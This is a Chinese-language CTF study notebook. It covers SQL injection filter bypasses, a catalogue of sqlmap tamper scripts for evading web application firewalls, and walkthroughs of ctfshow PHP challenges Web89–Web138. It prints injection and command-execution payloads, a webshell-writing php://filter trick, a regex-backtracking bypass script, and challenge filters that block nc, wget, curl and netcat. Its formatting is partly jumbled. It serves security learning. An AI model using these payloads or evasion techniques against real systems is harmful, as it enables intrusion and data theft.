image-20210803114533837

这里最简单的就是全部替换。。下面是相关教程

求教SQL server查询如何把一个字段多次替换_博问_博客园 (cnblogs.com)

替换完一定要用脚本跑=-=,不然90%出错

无过滤绕过总结:

无过滤绕过并且有正则表达式的情况下,有多种方式可以尝试,自己的思路是最重要的,wp上是他人的思路,切记不要打乱自己的思维

3.过滤绕过

一般简单的有大小写过滤,空格过滤(下面有详解)

对于空格过滤,/**/并不万能,在屏蔽*或者/的情况下要选择其他方式比如tab代替空格(tab的acsii码为09)(或者换页键,acsii码为09)

一般情况下存在单引号闭合我们选择用-- qwe来注释掉,但是存在空格过滤时,我们不能用-- qwe,只能选择用%23来绕过

4.脚本类

自闭了,盲注/延时在sqlmap不管用的情况下只能自己写脚本跑,学脚本去了=-=

IF 表达式

sql IF( expr1 , expr2 , expr3 )

expr1 的值为 TRUE,则返回值为 expr2 expr1 的值为FALSE,则返回值为 expr3

                'password': 1}在这里因为要将username_data这个变量的值传进去,所以没有用"",而是使用了{},其实如果是单纯传字符串的话只要""就行了 ```

#### 时间盲注

```sleep();benchmark是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式 sha()转化为sha256码,不可逆 ```



### 5.登陆类

```一段特殊的md5码:fifdyop,结果是'or'6(后面的是不可见字符),这一串在mysql进行布尔判断,只要是数字开头就会被判断为true ```

热知识:字母开头的数据在和数字比较时,会被强制转换为0,因此就会相等

```ord():ord函数返回字符串的第一个字符的ascii值 ```

盲注时,ascii被过滤可以用ord,ord被过滤可以用正则表达式匹配

### 6.堆叠类

```在sql语句中,分号`;`是用来表示一条sql语句的结束,而如果在一条sql语句结束后继续构造下一条sql语句,也会一起执行,从而产生了堆叠注入

把空格给过滤了;可以采取反引号的方式执行 $row数组的用法和c相似$row[1],代表数组中的第一个 ```

### 7.工具类

sqlmap使用

–data 用于post请求中指定传参,比如"id=1",或特殊情况的空传参""
–referer 用来检测原页面 比如 --referer “baidu.com”
–user-agent(sqlmap提交请求时默认的UserAgent为:sqlmap/0.9 (http://sqlmap.sourceforge.net,这样很容易暴露,所以要自定agent)
–method 改变提交方式,常见的是改为post put(put和post类似,但是put可以理解为对某一个确定的资源进行修改…这里没太懂)
–safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下
–safe-freq 提供一个安全不错误的连接,设置每次注入测试前访问安全链接的次数 ```

--tamper 举例如下tamper脚本:

apostrophemask.py 用utf8代替引号

equaltolike.py MSSQL * SQLite中like 代替等号

greatest.py MySQL中绕过过滤’>’ ,用GREATEST替换大于号

space2hash.py 空格替换为#号 随机字符串 以及换行符

space2comment.py 用/**/代替空格

apostrophenullencode.py MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号

halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2morehash.py MySQL中空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.p Microsoft Access在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤

space2mssqlblank.py mssql空格替换为其它空符号

base64encode.py 用base64编码

space2mssqlhash.py mssql查询中替换空格

modsecurityversioned.py mysql中过滤空格,包含完整的查询版本注释

space2mysqlblank.py mysql中空格替换其它空白符号

between.py MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>)

space2mysqldash.py MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py 围绕SQL关键字添加多个空格

space2plus.py 用+替换空格

bluecoat.py MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代

space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾

chardoubleencode.py 双url编码(不处理以编码的)

unionalltounion.py 替换UNION ALL SELECT UNION SELECT

charencode.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;

randomcase.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写

unmagicquotes.py 宽字符绕过 GPC addslashes

randomcomments.py 用/**/分割sql关键字

charunicodeencode.py ASP,ASP.NET中字符串 unicode 编码

securesphere.py 追加特制的字符串

versionedmorekeywords.py MySQL >= 5.1.13注释绕过

halfversionedmorekeywords.py MySQL < 5.1中关键字前加注释 ```

# PHP特性

## Web89

![image-20210816144346828](https://img-blog.csdnimg.cn/img_convert/4c170d70b23199727de6bdfef13084a2.png)

用intval函数的特性,传入一个数组

## Web90

![image-20210816144421201](https://img-blog.csdnimg.cn/img_convert/c3bd4e8125fcbd9c4c6526ae15d60b90.png)

intval函数只能识别整数,4476.0绕过

## Web91

![image-20210816154730940](https://img-blog.csdnimg.cn/img_convert/41d608d747e967f2bcff82e3e4a2b05c.png)

i表示匹配的时候不区分大小写,/m表示多行匹配,匹配换行符两端的潜在匹配

这里第一个if有m,第二个没有,所以用%0a换行符绕过

## Web92

![image-20210816154957817](https://img-blog.csdnimg.cn/img_convert/21e2ade35e78d6d22265f202d51717fe.png)

8进制或者16进制绕过都可

## Web93

过滤了16进制,8进制绕过即可

## Web94

![image-20210816160256012](https://img-blog.csdnimg.cn/img_convert/7656e6bc76f45468020a1546f782851b.png)

条件中要用0,且不能是4476,用intval函数的特性,只能匹配整数,构造0+10574绕过

## Web98

![image-20210819002800932](https://img-blog.csdnimg.cn/img_convert/209a3bb7fba8bc9d51c59ff0fa7b3b0f.png)

这里是三元运算符,如果存在get传参,则post传参的内容会作为get传参的值,获得flag的条件是get传参的方式传入$HTTP_FLAG=flag,所以,构造payload

```GET:/?flag=1 POST:HTTP_FLAG=flag ```

这样满足存在get传参,同时POST方式传入的内容以get方式传入,获得flag

## Web100

![image-20210818180759534](https://img-blog.csdnimg.cn/img_convert/a71c49c75d625c2bd6e94cfe1bf71cfa.png)

![image-20210818180923764](https://img-blog.csdnimg.cn/img_convert/2b410b602e10755536ee561def341c57.png)

这里是要传三个参,然后对v0进行与的结果赋值,is_numeric函数如上图所说

再次php运算优先级是&&>=>and,所以这里如果v1的值是数字串,那就会赋给v0 true,v2和v3分别传入对应参数,这里最后用到eval,就要传入system函数(命令执行)

## Web101

```php <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com

*/

highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
     }

?> ```

过滤了常用得payload的符号

用到新知识PHP Reflection API

在总结里

## Web102

```php  <?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 20:59:43

*/


highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3
= $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str); } else{
    die('hacker'); }


?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 14

Notice: Undefined index: v2 in /var/www/html/index.php on line 15

Notice: Undefined index: v3 in /var/www/html/index.php on line 16 hacker ```



```is_numeric()** 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true

**call_user_func()** 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数

**file_put_contents()** 函数应该都熟悉了,写入内容到文件中,第一个参数是文件名,第二个参数是内容 ```

v1为post传入,v2因为is_num函数所以要全为数字,call_user函数和v2及v1相关,调用后会将16进制的v2转为ascii码,file_函数将v2base64解码并写入,之后访问写入的文件即可

```?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=dotast.php

post: v1=hex2bin ```

**有时getshell后flag在源码里面**

## Web103

同上题

## Web104

```php <?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:27:20

*/


highlight_file(__FILE__); include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    } }



?> ```

```pay=v2[]=1

post:

v1[]=2 经典空数组绕过了属于是 ```

## Web105

```php  <?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:34:07

*/

highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value; }foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value; } if(!($_POST['flag']==$flag)){
    die($error); } echo "your are good".$flag."\n"; die($suces);

?> 你还想要flag嘛? ```

这里要有post传参flag的值要等于flag,并且要绕过开始的匹配

这里用到变量覆盖,因为post传参中不能出现flag,所以要将get传参中的flag传给post的参,这里可以构造一个get参数

```?a=flag post: error=a ```

## Web110

FilesystemIterator文件系统迭代器

```php <?php

/* \# -*- coding: utf-8 -*- \# @Author: h1xa \# @Date:  2020-09-16 11:25:09 \# @Last Modified by:  h1xa \# @Last Modified time: 2020-09-29 22:49:10

*/


highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){   $v1 = $_GET['v1'];   $v2 = $_GET['v2'];

  if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
      die("error v1");   }   if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
      die("error v2");   }

  eval("echo new $v1($v2());");

}

?> ```

这里的v1(v2)是嵌套

```通过新建FilesystemIterator,可以显示当前目录下的文件结构。由于参数内部有个括号,所以不能使用字符串来索引路径,而是要通过拼接方法getcwd()来获取当前的路径

即payload:?v1=FilesystemIterator&v2=getcwd

当新建FilesystemIterator并传入路径时,会返回路径下的文件系统结构,可以通过echo显示,且error_reporting(0)的存在阻止了报错 ———————————————— 版权声明:本文为CSDN博主「Ho1aAs」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/Xxy605/article/details/110128544 ```

## Web111

```php <?php

/* \# -*- coding: utf-8 -*- \# @Author: h1xa \# @Date:  2020-09-16 11:25:09 \# @Last Modified by:  h1xa \# @Last Modified time: 2020-09-30 02:41:40

*/

highlight_file(__FILE__); error_reporting(0); include("flag.php");

function getFlag(&$v1,&$v2){   eval("$$v1 = &$$v2;");   var_dump($$v1); }


if(isset($_GET['v1']) && isset($_GET['v2'])){   $v1 = $_GET['v1'];   $v2 = $_GET['v2'];

  if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
      die("error v1");   }   if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
      die("error v2");   }
     if(preg_match('/ctfshow/', $v1)){
      getFlag($v1,$v2);   }
  

  


}

?> ```

这里用到了105的变量覆盖

总体步骤是传入v1,v2的值,正则匹配v1,匹配到ctfshow的话执行getflag函数,getflag函数会将v2的地址传给v1,再通过var_dump输出v1的信息,这个信息包含v1的全部内容,所以构造pay

$GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

?v1=ctfshow&v2=GLOBALS

## Web112

```php <?php

/* \# -*- coding: utf-8 -*- \# @Author: Firebasky \# @Date:  2020-09-16 11:25:09 \# @Last Modified by:  h1xa \# @Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(__FILE__); error_reporting(0); function filter($file){   if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
    die("hacker!");   }else{
    return $file;   } } $file=$_GET['file']; if(! is_file($file)){   highlight_file(filter($file)); }else{   echo "hacker!"; } ```

首先是对get方式传入的file文件的检查,如果不是一个可执行文件,就会执行filter函数,进行匹配,如果匹配到则返回hacker,匹配不到就会return $file

可以用file伪协议绕过

pay=file=php://filter/resource=flag.php

## Web113

```php 	if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)) ```

和上题一样,只是把filter也过滤了,filter伪协议不能用了,换其他方式

[PHP伪协议总结 - SegmentFault 思否](https://segmentfault.com/a/1190000018991087)

wp使用的是zlib协议

[PHP: zlib:// - Manual](https://www.php.net/manual/zh/wrappers.compression.php)

文档中有两个

compress.zlib://file.gz compress.bzip2://file.bz2

bzip2不能使用(也可能是我的问题,在问了)

```pay=?file=compress.zlib://flag.php ```

## Web114

```if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)) ```

跳回去了,filter协议可以用,与web112一样

## Web115

```php include('flag.php'); highlight_file(__FILE__); error_reporting(0); function filter($num){   $num=str_replace("0x","1",$num);   $num=str_replace("0","1",$num);   $num=str_replace(".","1",$num);   $num=str_replace("e","1",$num);   $num=str_replace("+","1",$num);   return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){   if($num=='36'){
    echo $flag;   }else{
    echo "hacker!!";   } }else{   echo "hacker!!!"; }  ```

步骤为判断num是否为纯数字,并且num不能==36,去掉两边空白字符后不能等于36

php脚本测试

```php <?php for ($i = 0; $i <= 128; $i++) {
    $a = chr($i) . '36';
    if (trim($a) !== '36' && is_numeric($a)) {
        echo urlencode(chr($i)) . "\n";
    } }

得到结果可以用%0C绕过

pay=?%0C36

Web123


/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/ error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    } } ?> ```

大概步骤是post方式传入的CTF_SHOW与CTF_SHOW.COM不能为空,GET方式传入的fl0g要为空,再是POST方式传入的fun中不能被正则匹配到,长度要<=18,然后会执行fun的内容,最后如果fl0g的值是flag_give_me则会输出flag

$_SERVER['argv']会包含字符串,包含了get方式传入的参

解题思路很明确,想办法给fl0g赋值

**这里要注意post传参的问题**

```在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有`空格、+、[`则会被转化为`_`,所以按理来说我们构造不出`CTF_SHOW.COM`这个变量(因为含有`.`),但php中有个特性就是如果传入`[`,它被转化为`_`之后,后面的字符就会被保留下来不会被替换,所以payload为 ```

**这是第一种思路,有丶麻烦**

$_SERVER['argv']这个变量是会把所有的传参以数组的形式表达

第一次匹配fl0g一定要是空,所以我们这里传入a=1+fl0g=flag_give_me

这样在实际上在数组里有了a和fl0g两个变量,因为c会被执行一次,所以这里用parse_str() 函数,他会解析字符串,并赋值给变量,意思是如果解析的字符串内有变量,那么该变量的值会变为字符串内所赋给的值,当判断都通过后,c被执行,fl0g被赋值,通过,flag出现

```get: a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) ```

**方法2**

这是师傅们的方法,雀氏简单

省去了给fl0g赋值的问题,直接输出了flag

```post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag ```

## Web125

与124一样

## Web126

同124,所以还是按照题目本意来做题好一点

## Web127

```php error_reporting(0); include("flag.php"); highlight_file(__FILE__); $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING'];


//特殊字符检测 function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    } }

if(waf($url)){
    die("嗯哼?"); }else{
    extract($_GET); }


if($ctf_show==='ilove36d'){
    echo $flag; } ```

根据网上的知识,web下的$_SERVER['QUERY_STRING']与$_SERVER['argv']是同样的作用~~,这里ctfshow的值被固定为flag的md5值,要用extract函数将get方式传入的数组中给ctfshow赋值为iloved~~

```正确的方式是url会获取当前传入变量的值,php中通过post与get传入的参数如果含有特殊符号就会被转为特殊字符_,用这一点直接传入ctf_show即可 pay=?ctf show=ilove36d ```

解题思路很明确了,~~通过一定的方式构造一个数组,含有ctf_show=ilove36d~~

~~过滤了'+'之前的方式不能用~~,

~~加粗的是错误思路!!!!!!!!!!!~~

123题中已经有明确的提示,传入的变量如果含有特殊符号会被转为_,所以直接传入空格就行

**第二种方法**

根据师傅们的wp,$_SERVER['QUERY_STRING']获取的是url解码前的结果,所以只要url编码一遍就可以了

```pay=?ctf%5Bshow=ilove36d ```

## Web128

```php <?php

/* \# -*- coding: utf-8 -*- \# @Author: h1xa \# @Date:  2020-10-10 11:25:09 \# @Last Modified by:  h1xa \# @Last Modified time: 2020-10-12 19:49:05

*/


error_reporting(0); include("flag.php"); highlight_file(__FILE__);

$f1 = $_GET['f1']; $f2 = $_GET['f2'];

if(check($f1)){   var_dump(call_user_func(call_user_func($f1,$f2))); }else{   echo "嗯哼?"; }



function check($str){   return !preg_match('/[0-9]|[a-z]/i', $str); }NULL ```

基本步骤是,第一个判断是会调用check函数检查v1传入的值,如果正则匹配到了,则返回0,没有匹配到才会返回1,继而进行if内的内容,var_dump返回call_uesr_func函数的内容

```call_user_func — 把第一个参数作为回调函数调用 call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 ```

这里f2作为f1的参数参与f1的运算,结果返回后,结果作为回调函数进行运算,返回的值作为var_dump()函数的参数

解题思路很明确了,~~要通过call_user_func这一函数使返回值为flag.php~~

这里思路有丶问题,大概是第一次碰到的原因,所以有些不懂,这里要用get_defined_vars函数并且要用到gettext()函数的知识

**gettext()**

```php <?php echo gettext('2') ?>   #结果是2 ```

**get_defined_vars()**

```get_defined_vars(): array 此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。 ```

**方法**

第一次调用要使返回的值为get_defined_vars(),这里还有一个知识,某些配置开启的情况下_()等同于gettext()

```call_user_func(call_user_func($f1,$f2)) 可以将其构造为 call_user_func(call_user_func(_,'get_defined_vars')) 处理结果为 第一次 返回get_defined_vars call_user_func(get_defined_vars) 第二次 返回数组 最后 var_dump(数组) 输出结果 ```

**关于为什么不能直接使用gettext()**:正则匹配会匹配v1的值,不能含有字母

```构造pay pay=?f1=_&f2=get_defined_vars ```

## Web129

```php <?php

/* \# -*- coding: utf-8 -*- \# @Author: h1xa \# @Date:  2020-10-13 11:25:09 \# @Last Modified by:  h1xa \# @Last Modified time: 2020-10-13 03:18:40

*/


error_reporting(0); highlight_file(__FILE__); if(isset($_GET['f'])){ $f = $_GET['f'];   if(stripos($f, 'ctfshow')>0){
    echo readfile($f);   } } ```

readfile()读取文件

大概步骤是如果ctfshow在f中首次出现的位置大于0就会执行echo readfile($f)

解题步骤很明确了

f中要包含ctfshow并且位置不能在开头,同时f要包含一个可读取的文件名

想到可能要使用filter伪协议,但是没有尝试(实践才能出真知)

```pay=?f=php://filter/ctfshow|/resource=flag.php ```

**php中|是或(or)的意思**

## Web130

```php error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

大致步骤是先判断f中是否含有ctfshow,如果有就会结束,第二个判断是判断cftshow是否在f中,如过没有就会结束

解题思路很明确了

要让f中存在ctfshow,且要绕过第一个正则匹配,这里s的意思是会匹配特殊符号,包括换行符

PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌 (leavesongs.com)这是常规的方法

说实在的,我是真没想到正则匹配在匹配是能有这么多的技巧,通过这一步我们可以使正则匹配失去他的作用

脚本

#-- coding: utf-8 --
#@Time : 2021/10/5 19:20
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : pcre重复攻击.py
#@Software: PyCharm import requests

url='http://842f5580-1bad-4133-a65f-5ec7091bd118.challenge.ctf.show:8080/' data={
    'f':'a'*1000000+'ctfshow' } r=requests.post(url=url,data=data).text print(r)

另外,有两个非预期

第一个:

f=ctfshow

在/s模式下,.匹配任意字符,+表示重复一次或更多次,没错是至少一次!而后面加个?表示懒惰模式,+?表示重复1次或更多次,但尽可能少重复。当然懒惰模式并不影响解题思路,总之就是ctfshow前面必须得有字符才能匹配到,所以直接f=ctfshow就可以了。。

第二个:

f[]=

stripos应用于数组的时候会返回null,null!==false,所以非预期了

Web131


  if(preg_match('/.+?ctfshow/is', $f)){
    die('bye!');   }   if(stripos($f,'36Dctfshow') === FALSE){
    die('bye!!');   }

  echo $flag;

} ```

这个题和上题不同是f的值会等于通过post传参的f的值被强制转换为字符串后的结果

解题思路很明确了

~~要在被转为字符串的情况下实现绕过两个检测~~

~~上题的方法常规与非预期都无用了~~

**勾八!!!!自己看仔细啊,这次f要含有36Dctfshow,不是ctfshow啊!!!**

**回溯!!!!**

## Web132

这啥啊。。。



![image-20211005194732018](https://img-blog.csdnimg.cn/img_convert/410db0f10edab0d1ae354b0cc4eeee36.png)

打开题目环境是一个网站,没有提示,啥啊。。。

hint里面的提示是访问robots.txt,访问/admin/,得到源码

```php include("flag.php"); highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    } } ```

**这里有一个mt_rand(int `$min`, int `$max`): int函数**

```参数 min 可选的、返回的最小值(默认:0)

max 可选的、返回的最大值(默认:mt_getrandmax())

返回值 返回 min (或者 0) 到 max (或者是到 mt_getrandmax() ,包含这个值)之间的随机整数。 ```

另外关于运算符

```&& 是 前面条件为假,则后面条件不运行 || 是前面条件为真,则后面不运行 并且||运算优先级低于&& ```

**解题思路(可能是题做太多了,脑子不太好用了,直接看WP了)**

因为||运算级低于&&所以先执行code和username的判断,所以如果前面两个判断都为错的话实际上是这样的

```if(flase || $username ==="admin") ```

也就是说我们只要满足username==admin即可

然后满足code=admin即可

**构造pay**

```?code=admin&username=admin&password=1 ```

## Web133

```php <?php

/* \# -*- coding: utf-8 -*- \# @Author: Firebasky \# @Date:  2020-10-13 11:25:09 \# @Last Modified by:  h1xa \# @Last Modified time: 2020-10-13 16:43:44

*/

error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){   if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
    eval(substr($F,0,6));   }else{
    die("6个字母都还不够呀?!");   } } ```

@的作用是隐藏错误,这里不是很明白意思,猜测只是一个赋值,然后是判断f中是否含有正则中的内容,最后执行f的前六个字符组成的命令

解题思路emm好像很明确了

**还是要看WP......**

wp给的方式是套娃

```?F=`$F `;ls; ```

经过substr处理后的字符串实际上是(`F`,也就是``$F `;ls``)

这样就可以只用6个字符将F整个传入

## Web134(原笔记丢失,这是复习版)

```php highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {   die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') {   die(file_get_contents('flag.php')); } ```

大致步骤是先判断GET方式与POST方式传入的key1与key2的值是否为空,如果有一个不为空则会结束并输出"nonononono"

如果都为空则会进行`parse_str($_SERVER['QUERY_STRING'])`然后进行`extract($_POST)`最后判断key1与key2的值是否为36d

**师傅们的WP:**(复习版)

这里`parse_str($_SERVER['QUERY_STRING'])`的作用是读取url传入的内容,并将其中的变量覆盖,`extract($_POST)`的作用是读取已经被覆盖的_POST数组作为参数,将其中的键值,key1,key2赋给相应的值(此处为36d)

**本地复现代码**

![image-20211006174830961](https://img-blog.csdnimg.cn/img_convert/1c5d16139896a4a608cca836419429f7.png)

**实际结果**

![image-20211006174852189](https://img-blog.csdnimg.cn/img_convert/d0b6bde0c7341acbc0e68d2b4ef1f6cb.png)

**构造pay**

```?_POST[key1]=36d&__POST[key2]=36d ```



## Web135(原笔记丢失,这是复习版)

```php <?php

/* \# -*- coding: utf-8 -*- \# @Author: Firebasky \# @Date:  2020-10-13 11:25:09 \# @Last Modified by:  h1xa \# @Last Modified time: 2020-10-16 18:48:03

*/

error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){   if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
    eval(substr($F,0,6));   }else{
    die("师傅们居然破解了前面的,那就来一个加强版吧");   } } ```

是133题的加强版,与133题相比多了很多过滤,curl也被过滤

**师傅们的wp:**(复习版)

师傅们是使用了cp(copy函数)

```copy(string $source, string $dest, resource $context = ?):  将文件复制到指定位置 ```

**构造pay**

```?F=`$F `;cp flag.php 2.txt ```

## Web136

```php <?php error_reporting(0); function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    } } if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c); } else{
    highlight_file(__FILE__); } ?> ```

大致步骤是先检测c是否为空,若c不为空则将c传入check函数并进行判断,若c被正则匹配到了,则会结束并输出'too young too simple sometimes naive!',如果没有则会进行exec()

**师傅们的wp**:

师傅们使用了linux下的命令tee

```Linux tee命令用于读取标准输入的数据,并将其内容输出成文件 用法: tee file1 file2 //复制文件 ls|tee 1.txt //命令输出到1.txt文件中 ```

**构造pay**

```?c=ls|tee 1 将目录输出到1这个文件中 ?c=cat /f149_15_h3r3|tee 2  读取f149_15_h3r3文件并将其中的内容输出到2这个文件中 ```

## Web137

```php <?php

/* \# -*- coding: utf-8 -*- \# @Author: h1xa \# @Date:  2020-10-13 11:25:09 \# @Last Modified by:  h1xa \# @Last Modified time: 2020-10-16 22:27:49

*/

error_reporting(0); highlight_file(__FILE__); class ctfshow {   function __wakeup(){
    die("private class");   }   static function getFlag(){
    echo file_get_contents("flag.php");   } }



call_user_func($_POST['ctfshow']); ```

大致思路是有一个ctfshow的类与ctfshow的变量`call_user_func($_POST['ctfshow']);`执行ctfshow的内容,也就是ctfshow内的两个函数但是ctfshow函数一旦执行,__wakeup就会被执行,同时结束,输出"private class"

解题思路已经很明确了

想办法在不执行__wakeup()函数的情况下执行getFlag函数

**我这里思路有一个错误的地方**:

这是我构造的错误pay:`ctfshow=ctfshow.getFlag();`这是一般语言中通用的方法,但好像并不适用于php

**师傅们的wp**:

php中调用类函数的方法是self::函数名

**构造正确的pay**

`ctfshow=ctfshow::getFlag`

## Web138

```php <?php

/* \# -*- coding: utf-8 -*- \# @Author: h1xa \# @Date:  2020-10-13 11:25:09 \# @Last Modified by:  h1xa \# @Last Modified time: 2020-10-16 22:52:13

*/

error_reporting(0); highlight_file(__FILE__); class ctfshow {   function __wakeup(){
    die("private class");   }   static function getFlag(){
    echo file_get_contents("flag.php");   } }

if(strripos($_POST['ctfshow'], ":")>-1){   die("private function"); }

call_user_func($_POST['ctfshow']); ```

大致步骤是先通过`strripos($_POST['ctfshow'], ":")>-1`判断ctfshow里::出现的位置是否大于-1,如果>-1则会结束并返回"private function"

